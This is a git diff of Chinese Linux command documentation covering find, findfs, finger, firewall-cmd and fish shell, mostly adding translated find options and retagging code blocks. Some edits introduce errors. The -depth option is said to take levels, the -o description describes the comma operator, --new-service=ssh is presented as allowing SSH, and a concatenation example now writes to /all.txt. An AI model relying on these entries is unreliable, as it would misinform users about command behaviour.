+-samefile 名称 文件与名称指向相同的 inode。
-size<文件大小>:查找符合指定的文件大小的文件;
--true:将find指令的回传值皆设为True;
--typ<文件类型>:只寻找符合指定的文件类型的文件;
+-type<文件类型>:只寻找符合指定的文件类型的文件;
-uid<用户识别码>:查找符合指定的用户识别码的文件或目录;
-used<日数>:查找文件或目录被更改之后在指定时间曾被存取过的文件或目录,单位以日计算;
-user<拥有者名称>:查找符和指定的拥有者名称的文件或目录;
--version或——version:显示版本信息;
--xdev:将范围局限在先行的文件系统中;
+-writable:匹配当前用户可写入的文件。
-xtype<文件类型>:此参数的效果和指定“-type”参数类似,差别在于它针对符号连接检查。
+-context<表达式>:仅限 SELinux。文件的安全上下文与全局模式匹配
```
-### 参数
+### 操作选项
+
+#### -delete 删除文件或目录。
+> :warning:警告:find 命令会将命令行作为表达式进行解析,因此将`-delete`放在首位会将指定的起始点下的**所有内容删除**。且`-delete`操作无法删除一个目录,除非它是空的。
+
+##### *无参数*
+
+##### 描述
+如果删除成功则返回真。若删除失败,将显示错误消息,并且 find 最终退出时的状态码将为非零。
+
+##### 相关选项
+- **-depth**:在命令行中使用`-delete`操作会自动启用`-depth`选项。为了避免意外情况,通常最好在早期的**Tests选项**中**明确使用**`-depth`选项。
+- **-prune**:由于`-depth`会使`-prune`失效,因此`-delete`操作无法与`-prune`有效结合使用。通常,用户可能希望在实际删除操作前,先用带有`-print`的查找命令行进行测试,以确保在添加`-delete`进行实际删除时不会出现意外结果。
+- **-ignore_readdir_race**:`-delete`与此选项一起使用时,find 会忽略自父目录读取以来文件已消失的情况下`-delete`操作的错误:它不会输出错误诊断,不会将退出代码更改为非零,并且`-delete`操作的返回代码将为真。
+
+#### -exec 执行命令
+
+> :warning:警告:使用`-exec`操作存在不可避免的安全问题,应改用`-execdir`选项。
+
+##### 参数
+`command ;` 或 `command {} +`
+
+##### 描述
+如果返回状态为 0,则结果为真。**注意**:find 命令会将**所有后续参数**视为`command`的参数,直到遇到包含`;`的参数为止。字符串`{}`会在`command`的参数中所有出现的位置被替换为当前正在处理的文件名,而不仅仅是在它单独出现的参数中,这与某些版本的 find 不同。这两种结构可能需要使用反斜杠`\`或引号来转义,以防止被 shell 扩展。指定的命令会为每个匹配的文件运行一次。命令在起始目录中执行。
+
+#### -execdir 在包含匹配文件的子目录中执行命令
+
+##### 参数
+`command ;` | `command {} +`
+
+##### 描述
+类似于`-exec`,但指定的`command`会在包含匹配文件的**子目录中运行**,而非find的起始点目录。与`-exec`一样,如果从shell调用find,`{}`应加引号。这是一种更安全的调用`command`方式,因为它避免了在解析匹配文件路径时出现的竞争条件。与`-exec`操作类似,`+`形式的`-execdir`会构建一个命令行来处理多个匹配文件,但任何给定的`command`调用只会列出存在于同一子目录中的文件。如果使用此选项,必须确保 PATH 环境变量未引用`.`,否则攻击者可以通过在您将运行`-execdir`的目录中留下一个适当命名的文件来运行任何命令。同样,PATH 中的条目**不应为空**或**非绝对目录名**。如果使用`+`形式的任何调用以非零值作为退出状态返回,则 find 也会返回非零退出状态。如果 find 遇到错误,有时会导致立即退出,**因此某些待处理的command可能根本不会运行**。 操作结果取决于使用的是`+`还是`;`变体。`-execdir command {} + `总是返回真,而 `-execdir command {} ;`仅在命令返回 0 时返回真。
+
+#### -fls 创建文件并将结果写入文件
+
+##### 参数
+`file`
+
+##### 描述
+此选项始终返回真。`-fls`类似于`-ls`和`-fprint`,但`-fls`会将结果写入文件中。无论谓词是否匹配,输出文件始终会被创建。有关文件名中特殊字符处理的信息,请参阅“特殊文件名处理”部分。
+
+#### -fprint 将完整文件名打印到指定文件中
+
+##### 参数
+`file`
+
+##### 描述
+此选项始终返回真。若运行 find 时`file`不存在,则创建该`file`;若`file`已存在,则截断其内容。文件名`/dev/stdout`和`/dev/stderr`有特殊处理,分别指向标准输出和标准错误输出。即使谓词从未匹配,输出文件也会始终创建。
+
+#### -fprint0
+
+##### 参数
+`file`
+
+##### 描述
+此选项始终返回真。类似于`-print0`,但将输出写入文件;类似于`-fprint`。即使谓词从未匹配,输出文件也始终会被创建。
+
+#### -fprintf
+
+##### 参数
+`file`
+
+##### 描述
+此选项始终返回真。类似于`-printf`,但将输出写入文件;类似于`-fprint`,即使谓词从未匹配,输出文件也会始终创建。
+
+#### -ls 列出当前文件并输出到标准输出
+
+##### *无参数*
+
+##### 描述
+此选项始终返回真。以`ls -dils`格式列出当前文件并输出到标准输出。块计数为 1 KB 块,除非设置了环境变量 POSIXLY_CORRECT,此时使用 512 字节块。
+
+#### -ok 执行命令前询问用户
+
+##### 参数
+`command ;`
+
+##### 描述
+类似于`-exec`,但首先会询问用户。如果用户同意,则运行该命令;否则仅返回 false。若运行该命令,其标准输入将被重定向至`/dev/null`。对提示的响应会与一对正则表达式进行匹配,以确定其为肯定或否定回答。若设置POSIXLY_CORRECT 环境变量,则该正则表达式从系统获取;否则,从 find 的消息翻译中获取。如果系统没有合适的定义,将使用 find 自身的定义。无论哪种情况,正则表达式本身的解释都会受到环境变量 LC_CTYPE(字符类)和 LC_COLLATE(字符范围和等价类)的影响。
+
+##### 相关选项
+- **-files0-from**:不能与`-ok`同时指定。
+
+#### -okdir
+
+##### 参数
+`command ;`
+
+##### 描述
+类似于`-execdir`,但在执行前会以与`-ok`相同的方式询问用户。如果用户不同意,则直接返回 false。如果命令被执行,其标准输入将从`/dev/null`重定向。
+
+##### 相关选项
+- **-files0-from**:不能与`-okdir`同时指定。
+
+#### -print 打印完整文件名,后跟一个换行符
+
+##### *无参数*
+
+##### 描述
+此选项始终返回真。如果你将 find 的输出通过管道传输到另一个程序,并且你正在搜索的文件可能包含换行符,那么应该考虑使用`-print0`而不是`-print`。
+
+#### -print0 打印完整文件名,后跟一个空字符
+
+##### *无参数*
+
+##### 描述
+此选项始终返回真。包含换行符或其他类型空白字符的文件名能被正确解析,以便处理 find 输出的程序能正确理解。此选项对应于`xargs`的`-0`选项。
+
+#### -printf 打印格式
+
+##### 参数
+`format`
+
+可用的转义字符和指令包括:
+- \a 警报。
+- \b 退格键。
+- \c 立即停止打印并清空输出。
+- \f 换页。
+- \n 换行。
+- \r 回车符。
+- \t 水平制表符。
+- \v 垂直制表符。
+- \0 空字符。
+- \\\ 一个字面的反斜杠`\`。
+- \NNN 字符,其 ASCII 码为 NNN(八进制)。
+- A 一个反斜杠字符`\`后跟任何其他字符,都会被视为普通字符,因此它们都会被打印出来。
+- %% 一个字面的百分号。
+- %a 文件的最后访问时间,格式为 C 语言 ctime(3)函数返回的样式。
+ .....更多内容待补充
+
+##### 描述
+*暂无*
+
+#### -prune 如果文件是目录,则不进入该目录
+
+##### *无参数*
+
+##### 描述
+此选项始终返回真。
+
+##### 相关选项
+- **-depth**:如果指定了`-depth`,那么`-prune`将无效。
+- **-delete**:因为`-delete`隐含了`-depth`,所以不能有效地同时使用两者。
+
+#### -quit 立即退出
+
+##### *无参数*
+
+##### 描述
+如果没有发生错误,则返回值为零。这与`-prune `不同,因为`-prune`仅适用于被修剪目录的内容,而`-quit`则使 find 立即停止。不会有任何子进程继续运行。在程序退出之前,任何通过`-exec ... +`或`-execdir ... +`构建的命令行都会被调用。执行`-quit`后,命令行中指定的文件将不再被处理。例如,`find /tmp/foo /tmp/bar -print -quit`将仅打印 `/tmp/foo`。`-quit`的一个常见用途是在找到所需内容后停止搜索文件系统。
+
+### 全局选项
+始终返回真值。全局选项对命令行中较早出现的测试也会生效。为避免混淆,全局选项应在命令行上列出**起始点之后、第一个测试选项、位置选项或操作选项之前指定**。若在其他位置指定全局选项,find 会发出警告消息,说明这可能引起混淆。
+
+> 全局选项出现在起始点列表之后,因此与例如`-L` 这样的选项不属于同一类别。
+
+#### -d `-depth`的同义词
+
+##### *无参数*
+
+##### 描述
+仅用于与 FreeBSD、NetBSD、MacOS X 和 OpenBSD 兼容。
+
+#### -depth 遍历级别
+
+##### 参数
+`levels`
+
+##### 描述
+在处理目录本身之前,先处理目录中的内容。`-delete`操作也隐含了`-depth`。
+
+#### -files0-from 从文件中读取起始点,而非通过命令行获取。
+
+##### 参数
+`file`
+
+##### 描述
+
+使用此选项可以安全地给 find 命令传递任意数量的起始点。使用此选项和在命令行中传递起始点**是互斥的**,因此不允许同时进行。文件参数是强制性的。文件中的起始点必须用 ASCII NUL 字符分隔。两个连续的 NUL 字符,即带有零长度文件名的起始点是不允许的,这将导致错误诊断,并随后产生非零退出码。
+
+与标准调用不同,在标准调用中,如果没有传递路径参数,find 会默认将当前目录作为起始点。起始点的处理方式与其他情况相同,例如,find 命令会递归进入子目录,除非另有阻止。若要仅处理起始点,可以额外传递`-maxdepth 0`参数。
+
+**其他说明**:如果一个文件在输入文件中被列出多次,则其是否会被多次访问未作规定。如果在查找操作期间文件被修改,结果同样未作规定。最后,find 退出时(无论是通过`-quit`还是其他方式),命名文件中的查找位置也未作规定。此处**未作规定**意味着它**可能有效也可能无效**,**或者不做任何特定的事情**,并且该行为可能因平台或 findutils 版本而异。
+
+> :bulb:可以使用`-files0-from`**从标准输入流中读取起始点列表**,例如从管道中读取。在这种情况下,不允许使用`-ok`和`-okdir`操作,因为它们会干扰从标准输入读取以获取用户确认。
+
+> :warning:警告:如果给定文件为空,find 不会处理任何起始点,因此在解析完程序参数后会立即退出。
+
+#### -help 和 --help 打印 find 命令行用法的摘要并退出。
+
+##### *无参数*
+
+##### 描述
+*无描述*
+
+#### -ignore_readdir_race
+
+##### *无参数*
+
+##### 描述
+通常情况下,当 find 无法对文件进行状态检查(stat)时,会发出错误消息。如果您**启用此选项**,并且在 find 从目录读取文件名,到尝试进行状态检查**之间的时间内文件被删除**,则不会发出任何错误消息。这也适用于命令行中指定的文件或目录。此选项在命令行读取时生效,这意味着您不能在文件系统的某部分启用此选项,而在另一部分禁用它(如果需要这样做,您需要发出两个 find 命令,一个启用选项,一个不启用)。此外,使用`-ignore_readdir_race`选项时,如果在读取父目录后文件已消失,find 命令将忽略`-delete`操作的错误:它不会输出错误诊断信息,并且`-delete`操作的返回码将为真。
+
+#### -maxdepth 最大遍历级别
+
+##### 参数
+`levels`
+
+##### 描述
+最多向下遍历 levels 级(一个非负整数)目录层级。使用`-maxdepth 0`表示**仅对起始点本身**应用测试和操作。
+
+#### -mindepth 最小遍历级别
+
+##### 参数
+`levels`
+
+##### 描述
+在小于指定级别(非负整数)的层级上不执行任何测试或操作。使用`-mindepth 1`表示处理**除起始点外的所有文件**。
-起始目录:查找文件的起始目录。
+#### -mount 不在其他文件系统中下降目录
-### 实例
+##### *无参数*
-```bash
-# 当前目录搜索所有文件,文件内容 包含 “140.206.111.111” 的内容
+##### 描述
+这是`-xdev`的替代名称,用于与其他一些版本的 find 兼容。
+
+#### -noignore_readdir_race
+
+##### *无参数*
+
+##### 描述
+关闭了`-ignore_readdir_race`的效果。
+
+#### -noleaf 不进行优化。
+
+##### *无参数*
+
+##### 描述
+不通过假设目录包含比其硬链接数少 2 个子目录来进行优化。在搜索不遵循 Unix 目录链接惯例的文件系统时,需要此选项,例如 CD-ROM、MS-DOS 文件系统或 AFS 卷挂载点。在正常的 Unix 文件系统上,每个目录至少有 2 个硬链接:其名称及其`.`条目。此外,其子目录(如果有)各自有一个指向该目录的`..`条目。当 find 检查一个目录时,在它已经统计了比目录链接数少 2 个子目录之后,它知道该目录中的其余条目是非目录(目录树中的“叶”文件)。如果只需要检查文件的名称,则无需对其进行状态检查;这可以显著提高搜索速度。
+
+#### -version 和 --version 打印 find 的版本号并退出。
+
+##### *无参数*
+
+##### 描述
+*无描述*
+
+#### -xdev 不进入其他文件系统的目录。
+
+##### *无参数*
+
+##### 描述
+*无描述*
+
+### 位置选项
+始终返回真值。它们仅影响命令行中后续的测试。
+
+#### -daystart 从今天开始
+
+> 用于 `-amin`、`-atime`、`-cmin`、`-ctime`、`-mmin` 和 `-mtime`
+
+##### *无参数*
+
+##### 描述
+从今天开始而非从 24 小时前开始。此选项仅影响命令行中后续出现的测试。
+
+#### ~~-follow~~ 解引用符号链接。
+
+##### *无参数*
+
+##### 描述
+**已弃用,请改用`-L`选项**。隐含`-noleaf`。`-follow`选项仅影响命令行中出现在其后的那些测试。除非已指定`-H`或`-L`选项,否则`-follow`选项的位置会改变`-newer`谓词的行为;作为`-newer`参数列出的任何文件,如果它们是符号链接,则会被解引用。同样的情况适用于`-newerXY`、`-anewer`和`-cnewer`。类似地,`-type `谓词将始终匹配符号链接所指向的文件类型,而非链接本身。使用`-follow`会导致 `-lname`和`-ilname`谓词始终返回 false。
+
+#### -regextype 更改正则表达式语法
+
+##### 参数
+`type`
+
+##### 描述
+更改`-regex`和`-iregex`测试在命令行后续部分所理解的正则表达式语法。要查看已知的正则表达式类型,请使用`-regextype help`。Texinfo 文档解释了各种正则表达式类型的含义及其差异。如果您不使用此选项,find 的行为如同已指定正则表达式类型为`emacs`。
+
+#### -warn 和 -nowarn 开启或关闭警告消息。
+
+##### *无参数*
+
+##### 描述
+这些警告仅适用于命令行使用,不适用于 find 在搜索目录时可能遇到的情况。默认行为是:如果标准输入是`tty`,则对应`-warn`;否则对应`-nowarn`。如果产生与命令行使用相关的警告消息,find 的退出状态不受影响。如果设置了 POSIXLY_CORRECT 环境变量,并且也使用了`-warn`,则未指定哪些(如果有)警告会被激活。
+
+### 运算符选项
+运算符按优先级递减顺序列出:
+- `(expr)` 强制优先级。由于括号对 shell 有特殊含义,通常需要对它们进行引用。许多示例为此使用了反斜杠:`\(...\)` 而非 `(...)`。
+- `! expr` 若表达式为假则结果为真(取反)。此字符通常也需要防止被 shell 解释。
+
+> :bulb:提示:当`-a`隐式指定(例如两个测试之间没有显式运算符)或显式指定时,其优先级高于`-o`。例如,`find . -name foo -o -name bar -print`永远不会打印`foo`。
+
+#### -not
+
+##### 参数
+`expr`
+
+##### 描述
+等同于`! expr`,但不符合 POSIX 标准。
+
+#### -a
+
+##### 参数
+`expr1` -a `expr2`
+
+##### 描述
+两个连续的表达式被视为隐含地用`-a`连接;如果`expr1`为假,则不评估`expr2`。等同于`expr1 expr2`。
+
+#### -and
+
+##### 参数
+`expr1` -and `expr2`
+
+##### 描述
+与`-a`相同。但不符合 POSIX 标准。
+
+#### -o
+
+##### 参数
+`expr1` -o `expr2`
+
+##### 描述
+`expr1`和`expr2`始终都会被评估。`expr1`的值会被丢弃;列表的值即为`expr2`的值。逗号运算符(`,`)在搜索多种不同类型的事物时非常有用,但只会遍历文件系统层次结构一次。`-fprintf`动作可用于将各种匹配项列出到多个不同的输出文件中。若`expr1`为真,则不评估`expr2`。
+#### -or
+
+##### 参数
+`expr1` -or `expr2`
+
+##### 描述
+与`-o`相同。但不符合 POSIX 标准。
+
+## 例子
+
+当前目录搜索所有文件,且文件内容包含 “140.206.111.111”
+```shell
find . -type f -name "*" | xargs grep "140.206.111.111"
```
@@ -88,25 +427,25 @@ find . -type f -name "*" | xargs grep "140.206.111.111"
列出当前目录及子目录下所有文件和文件夹
-```
+```shell
find .
```
在`/home`目录下查找以.txt结尾的文件名
-```
+```shell
find /home -name "*.txt"
```
同上,但忽略大小写
-```
+```shell
find /home -iname "*.txt"
```
当前目录及子目录下查找所有以.txt和.pdf结尾的文件
-```
+```shell
find . \( -name "*.txt" -o -name "*.pdf" \)
或
@@ -116,19 +455,19 @@ find . -name "*.txt" -o -name "*.pdf"
匹配文件路径或者文件
-```
+```shell
find /usr/ -path "*local*"
```
基于正则表达式匹配文件路径
-```
+```shell
find . -regex ".*\(\.txt\|\.pdf\)$"
```
同上,但忽略大小写
-```
+```shell
find . -iregex ".*\(\.txt\|\.pdf\)$"
```
@@ -136,13 +475,13 @@ find . -iregex ".*\(\.txt\|\.pdf\)$"
找出/home下不是以.txt结尾的文件
-```
+```shell
find /home ! -name "*.txt"
```
#### 根据文件类型进行搜索
-```
+```shell
find . -type 类型参数
```
@@ -160,19 +499,19 @@ find . -type 类型参数
向下最大深度限制为3
-```
+```shell
find . -maxdepth 3 -type f
```
搜索出深度距离当前目录至少2个子目录的所有文件
-```
+```shell
find . -mindepth 2 -type f
```
#### 根据文件时间戳进行搜索
-```
+```shell
find . -type f 时间戳
```
@@ -184,37 +523,37 @@ UNIX/Linux文件系统每个文件都有三种时间戳:
搜索最近七天内被访问过的所有文件
-```
+```shell
find . -type f -atime -7
```
搜索恰好在七天前被访问过的所有文件
-```
+```shell
find . -type f -atime 7
```
搜索超过七天内被访问过的所有文件
-```
+```shell
find . -type f -atime +7
```
搜索访问时间超过10分钟的所有文件
-```
+```shell
find . -type f -amin +10
```
找出比file.log修改时间更长的所有文件
-```
+```shell
find . -type f -newer file.log
```
#### 根据文件大小进行匹配
-```
+```shell
find . -type f -size 文件大小单元
```
@@ -229,19 +568,19 @@ find . -type f -size 文件大小单元
搜索大于10KB的文件
-```
+```shell
find . -type f -size +10k
```
搜索小于10KB的文件
-```
+```shell
find . -type f -size -10k
```
搜索等于10KB的文件
-```
+```shell
find . -type f -size 10k
```
@@ -249,7 +588,7 @@ find . -type f -size 10k
删除当前目录下所有.txt文件
-```
+```shell
find . -type f -name "*.txt" -delete
```
@@ -257,25 +596,25 @@ find . -type f -name "*.txt" -delete
当前目录下搜索出权限为777的文件
-```
+```shell
find . -type f -perm 777
```
找出当前目录下权限不是644的php文件
-```
+```shell
find . -type f -name "*.php" ! -perm 644
```
找出当前目录用户tom拥有的所有文件
-```
+```shell
find . -type f -user tom
```
找出当前目录用户组sunk拥有的所有文件
-```
+```shell
find . -type f -group sunk
```
@@ -283,7 +622,7 @@ find . -type f -group sunk
找出当前目录下所有root的文件,并把所有权更改为用户tom
-```
+```shell
find .-type f -user root -exec chown tom {} \;
```
@@ -291,7 +630,7 @@ find .-type f -user root -exec chown tom {} \;
找出自己家目录下所有的.txt文件并删除
-```
+```shell
find $HOME/. -name "*.txt" -ok rm {} \;
```
@@ -299,47 +638,57 @@ find $HOME/. -name "*.txt" -ok rm {} \;
查找当前目录下所有.txt文件并把他们拼接起来写入到all.txt文件中
-```
-find . -type f -name "*.txt" -exec cat {} \;> all.txt
+```shell
+find . -type f -name "*.txt" -exec cat {} \;> /all.txt
```
将30天前的.log文件移动到old目录中
-```
+```shell
find . -type f -mtime +30 -name "*.log" -exec cp {} old \;
```
找出当前目录下所有.txt文件并以“File:文件名”的形式打印出来
-```
+```shell
find . -type f -name "*.txt" -exec printf "File: %s\n" {} \;
```
因为单行命令中-exec参数中无法使用多个命令,以下方法可以实现在-exec之后接受多条命令
-```
+```shell
-exec ./text.sh {} \;
```
-#### 搜索但跳出指定的目录
+#### 搜索但跳过指定的目录
查找当前目录或者子目录下所有.txt文件,但是跳过子目录sk
-```
+```shell
find . -path "./sk" -prune -o -name "*.txt" -print
```
+> :warning: ./sk 不能写成 ./sk/ ,否则没有作用。
+
+忽略两个目录
+
+```shell
+find . \( -path ./sk -o -path ./st \) -prune -o -name "*.txt" -print
+```
+
+> :warning: 如果写相对路径必须加上`./`
+
#### find其他技巧收集
要列出所有长度为零的文件
-```
+```shell
find . -empty
```
#### 其它实例
-```bash
+```shell
find ~ -name '*jpg' # 主目录中找到所有的 jpg 文件。 -name 参数允许你将结果限制为与给定模式匹配的文件。
find ~ -iname '*jpg' # -iname 就像 -name,但是不区分大小写
find ~ ( -iname 'jpeg' -o -iname 'jpg' ) # 一些图片可能是 .jpeg 扩展名。幸运的是,我们可以将模式用“或”(表示为 -o)来组合。
@@ -349,7 +698,7 @@ find ~ \( -iname '*jpeg' -o -iname '*jpg' \) -type d # 也许你想找到那些
最近拍了很多照片,所以让我们把它缩小到上周更改的文件
-```bash
+```shell
find ~ \( -iname '*jpeg' -o -iname '*jpg' \) -type f -mtime -7
```
@@ -357,33 +706,33 @@ find ~ \( -iname '*jpeg' -o -iname '*jpg' \) -type f -mtime -7
但也许你不关心你的照片。也许你的磁盘空间不够用,所以你想在 log 目录下找到所有巨大的(让我们定义为“大于 1GB”)文件:
-```bash
+```shell
find /var/log -size +1G
```
或者,也许你想在 /data 中找到 bcotton 拥有的所有文件:
-```bash
+```shell
find /data -owner bcotton
```
你还可以根据权限查找文件。也许你想在你的主目录中找到对所有人可读的文件,以确保你不会过度分享。
-```bash
+```shell
find ~ -perm -o=r
```
删除 mac 下自动生成的文件
-```
+```shell
find ./ -name '__MACOSX' -depth -exec rm -rf {} \;
```
统计代码行数
-```
+```shell
find . -name "*.java"|xargs cat|grep -v ^$|wc -l # 代码行数统计, 排除空行
```
-
+
diff --git a/command/findfs.md b/command/findfs.md
index cf4dc9ef958..2b9dd85dd34 100644
--- a/command/findfs.md
+++ b/command/findfs.md
@@ -1,30 +1,29 @@
findfs
===
-
+
标签或UUID查找文件系统
## 补充说明
**findfs命令** 依据卷标(Label)和UUID查找文件系统所对应的设备文件。findfs命令会搜索整个磁盘,看是否有匹配的标签或者UUID没有,如果有则打印到标注输出上。findfs命令也是e2fsprogs项目的一部分。
-### 语法
+### 语法
-```
+```shell
findfs(参数)
```
-### 参数
+### 参数
`LABEL=<卷标>`或者`UUID=`:按照卷标或者UUID查询文件系统。
-### 实例
+### 实例
通过卷标名查找对应的文件系统:
-```
+```shell
findfs LABEL=/boot
/dev/hda1
```
-
\ No newline at end of file
diff --git a/command/finger.md b/command/finger.md
index 4e961b31584..b77f53ea8d1 100644
--- a/command/finger.md
+++ b/command/finger.md
@@ -1,21 +1,21 @@
finger
===
-
+
用于查找并显示用户信息
## 补充说明
**finger命令** 用于查找并显示用户信息。包括本地与远端主机的用户皆可,帐号名称没有大小写的差别。单独执行finger指令,它会显示本地主机现在所有的用户的登陆信息,包括帐号名称,真实姓名,登入终端机,闲置时间,登入时间以及地址和电话。
-### 语法
+### 语法
-```
+```shell
finger(选项)(参数)
```
-### 选项
+### 选项
-```
+```shell
-l:列出该用户的帐号名称,真实姓名,用户专属目录,登入所用的Shell,登入时间,转信地址,电子邮件状态,还有计划文件和方案文件内容;
-m:排除查找用户的真实姓名;
-s:列出该用户的帐号名称,真实姓名,登入终端机,闲置时间,登入时间以及地址和电话;
@@ -24,15 +24,15 @@ finger(选项)(参数)
不指定finger的选项如果提供操作者的话,缺省设为`-l`输出风格,否则为`-s`风格,注意在两种格式中,如果信息不足,都有一些域可能丢失,如果没有指定参数finger会为当前登录的每个用户打印一个条目。
-### 参数
+### 参数
用户名:指定要查询信息的用户。
-### 实例
+### 实例
在计算机上使用finger:
-```
+```shell
[root@localhost root]# finger
login Name Tty Idle Login time Office Office Phone
root root tty1 2 Dec 18 13
@@ -43,4 +43,3 @@ root root *pts/1 Dec 18 13
如果要查询远程机上的用户信息,需要在用户名后面接`@主机名`,采用`用户名@主机名`的格式,不过要查询的网络主机需要运行finger守护进程的支持。
-
\ No newline at end of file
diff --git a/command/firewall-cmd.md b/command/firewall-cmd.md
index ce72b7f03c6..3223a984d0d 100644
--- a/command/firewall-cmd.md
+++ b/command/firewall-cmd.md
@@ -1,7 +1,7 @@
firewall-cmd
===
-Linux上新用的防火墙软件,跟iptables差不多的工具。
+Linux上新用的防火墙软件,跟iptables差不多的工具
## 补充说明
@@ -16,7 +16,7 @@ firewalld自身并不具备防火墙的功能,而是和iptables一样需要通
**命令格式**
-```bash
+```shell
firewall-cmd [选项 ... ]
```
@@ -24,14 +24,15 @@ firewall-cmd [选项 ... ]
通用选项
-```bash
+```shell
-h, --help # 显示帮助信息;
-V, --version # 显示版本信息. (这个选项不能与其他选项组合);
-q, --quiet # 不打印状态消息;
```
状态选项
-```bash
+
+```shell
--state # 显示firewalld的状态;
--reload # 不中断服务的重新加载;
--complete-reload # 中断所有连接的重新加载;
@@ -41,21 +42,22 @@ firewall-cmd [选项 ... ]
日志选项
-```bash
+```shell
--get-log-denied # 获取记录被拒绝的日志;
--set-log-denied= # 设置记录被拒绝的日志,只能为 'all','unicast','broadcast','multicast','off' 其中的一个;
```
-### 实例
+### 实例
-```bash
+```shell
# 安装firewalld
yum install firewalld firewall-config
systemctl start firewalld # 启动
+systemctl stop firewalld # 停止
+systemctl enable firewalld # 启用自动启动
+systemctl disable firewalld # 禁用自动启动
systemctl status firewalld # 或者 firewall-cmd --state 查看状态
-systemctl disable firewalld # 停止
-systemctl stop firewalld # 禁用
# 关闭服务的方法
# 你也可以关闭目前还不熟悉的FirewallD防火墙,而使用iptables,命令如下:
@@ -69,7 +71,7 @@ systemctl enable iptables
配置firewalld
-```bash
+```shell
firewall-cmd --version # 查看版本
firewall-cmd --help # 查看帮助
@@ -130,17 +132,17 @@ firewall-cmd --permanent --zone=internal --change-interface=enp03s
服务管理
-```bash
+```shell
# 显示服务列表
Amanda, FTP, Samba和TFTP等最重要的服务已经被FirewallD提供相应的服务,可以使用如下命令查看:
firewall-cmd --get-services
# 允许SSH服务通过
-firewall-cmd --enable service=ssh
+firewall-cmd --new-service=ssh
# 禁止SSH服务通过
-firewall-cmd --disable service=ssh
+firewall-cmd --delete-service=ssh
# 打开TCP的8080端口
firewall-cmd --enable ports=8080/tcp
@@ -158,7 +160,7 @@ firewall-cmd --reload # 在不改变状态的条件下重新加载防火墙
端口管理
-```bash
+```shell
# 打开443/TCP端口
firewall-cmd --add-port=443/tcp
@@ -175,7 +177,7 @@ firewall-cmd --list-all
直接模式
-```bash
+```shell
# FirewallD包括一种直接模式,使用它可以完成一些工作,例如打开TCP协议的9999端口
firewall-cmd --direct -add-rule ipv4 filter INPUT 0 -p tcp --dport 9000 -j ACCEPT
@@ -186,7 +188,7 @@ firewall-cmd --reload
选项
-```bash
+```shell
(末尾带有 [P only] 的话表示该选项除了与(--permanent)之外,不能与其他选项一同使用!)
--new-service=<服务名> 新建一个自定义服务 [P only]
--new-service-from-file=<文件名> [--name=<服务名>]
@@ -267,7 +269,7 @@ firewall-cmd --reload
可以通过两种方式控制端口的开放,一种是指定端口号另一种是指定服务名。虽然开放 http 服务就是开放了 80 端口,但是还是不能通过端口号来关闭,也就是说通过指定服务名开放的就要通过指定服务名关闭;通过指定端口号开放的就要通过指定端口号关闭。还有一个要注意的就是指定端口的时候一定要指定是什么协议,tcp 还是 udp。知道这个之后以后就不用每次先关防火墙了,可以让防火墙真正的生效。
-```bash
+```shell
firewall-cmd --add-service=mysql # 开放mysql端口
firewall-cmd --remove-service=http # 阻止http端口
firewall-cmd --list-services # 查看开放的服务
@@ -279,7 +281,7 @@ firewall-cmd --list-ports # 查看开放的端口
伪装 IP
-```bash
+```shell
firewall-cmd --query-masquerade # 检查是否允许伪装IP
firewall-cmd --add-masquerade # 允许防火墙伪装IP
firewall-cmd --remove-masquerade# 禁止防火墙伪装IP
@@ -292,7 +294,7 @@ firewall-cmd --remove-masquerade# 禁止防火墙伪装IP
1. 比如我将 80 端口转发至 8080 端口,首先检查本地的 80 端口和目标的 8080 端口是否开放监听了
2. 其次检查是否允许伪装 IP,没允许的话要开启伪装 IP
-```bash
+```shell
firewall-cmd --add-forward-port=port=80:proto=tcp:toport=8080 # 将80端口的流量转发至8080
firewall-cmd --add-forward-port=port=80:proto=tcp:toaddr=192.168.0.1 # 将80端口的流量转发至192.168.0.1
firewall-cmd --add-forward-port=port=80:proto=tcp:toaddr=192.168.0.1:toport=8080 # 将80端口的流量转发至192.168.0.1的8080端口
diff --git a/command/fishshell.md b/command/fishshell.md
index 2457cf63244..0f39ff98f3e 100644
--- a/command/fishshell.md
+++ b/command/fishshell.md
@@ -5,7 +5,7 @@ fishshell
## 安装
-```bash
+```shell
# Ubuntu 和 Debian 的安装方法。
sudo apt-get install fish
# Mac 的安装方法。
@@ -16,7 +16,7 @@ brew install fish
由于 `Fish` 的语法与 `Bash` 有很大差异,`Bash` 脚本一般不兼容。因此,建议不要将 `Fish` 设为默认 `Shell`,而是每次手动启动它。
-```bash
+```shell
# 安装完成后,就可以启动 Fish。
$ fish
# 使用过程中,如果需要帮助,可以输入 help 命令
@@ -25,7 +25,7 @@ $ help
## 彩色显示
-```bash
+```shell
# 无效命令为红色
$ mkd
# 有效命令为蓝色
@@ -38,7 +38,7 @@ $ cat ~/somefi
Fish 会自动在光标后面给出建议,表示可能的选项,颜色为灰色。如果采纳建议,可以按下 `→` 或 `Control + F` 。如果只采纳一部分,可以按下 `Alt + →`。
-```bash
+```shell
$ /bin/hostname # 命令建议
$ grep --ignore-case # 参数建议
$ ls node_modules # 路径建议
@@ -54,7 +54,7 @@ $ ls node_modules # 路径建议
### if 语句
-```bash
+```shell
if grep fish /etc/shells
echo Found fish
else if grep bash /etc/shells
@@ -66,7 +66,7 @@ end
### switch 语句
-```bash
+```shell
switch (uname)
case Linux
echo Hi Tux!
@@ -81,7 +81,7 @@ end
### while 循环
-```bash
+```shell
while true
echo "Loop forever"
end
@@ -89,7 +89,7 @@ end
### for 循环
-```bash
+```shell
for file in *.txt
cp $file $file.bak
end
@@ -99,7 +99,7 @@ end
`Fish` 的函数用来封装命令,或者为现有的命令起别名。
-```bash
+```shell
function ll
ls -lhG $argv
end
@@ -107,7 +107,7 @@ end
上面代码定义了一个 `ll` 函数。命令行执行这个函数以后,就可以用 `ll` 命令替代 `ls -lhG`。其中,变量 `$argv` 表示函数的参数。
-```bash
+```shell
function ls
command ls -hG $argv
end
@@ -119,7 +119,7 @@ end
`fish_prompt` 函数用于定义命令行提示符(prompt)。
-```bash
+```shell
function fish_prompt
set_color purple
date "+%m/%d/%y"
@@ -140,7 +140,7 @@ end
Fish 的配置文件是 `~/.config/fish/config.fish`,每次 `Fish` 启动,就会自动加载这个文件。Fish 还提供 Web 界面配置该文件。
-```bash
+```shell
$ fish_config # 浏览器打开 Web 界面配置
```
@@ -164,7 +164,7 @@ Startup (Where's .bashrc?): `~/.config/fish/config.fish`,更好的方式是 au
Autoloading Functions: ` ~/.config/fish/functions/.`
Universal Variables:a variable whose value is shared across all instances of fish
-```bash
+```shell
set name 'czl' # 设置变量,替代 name=czl
echo $name
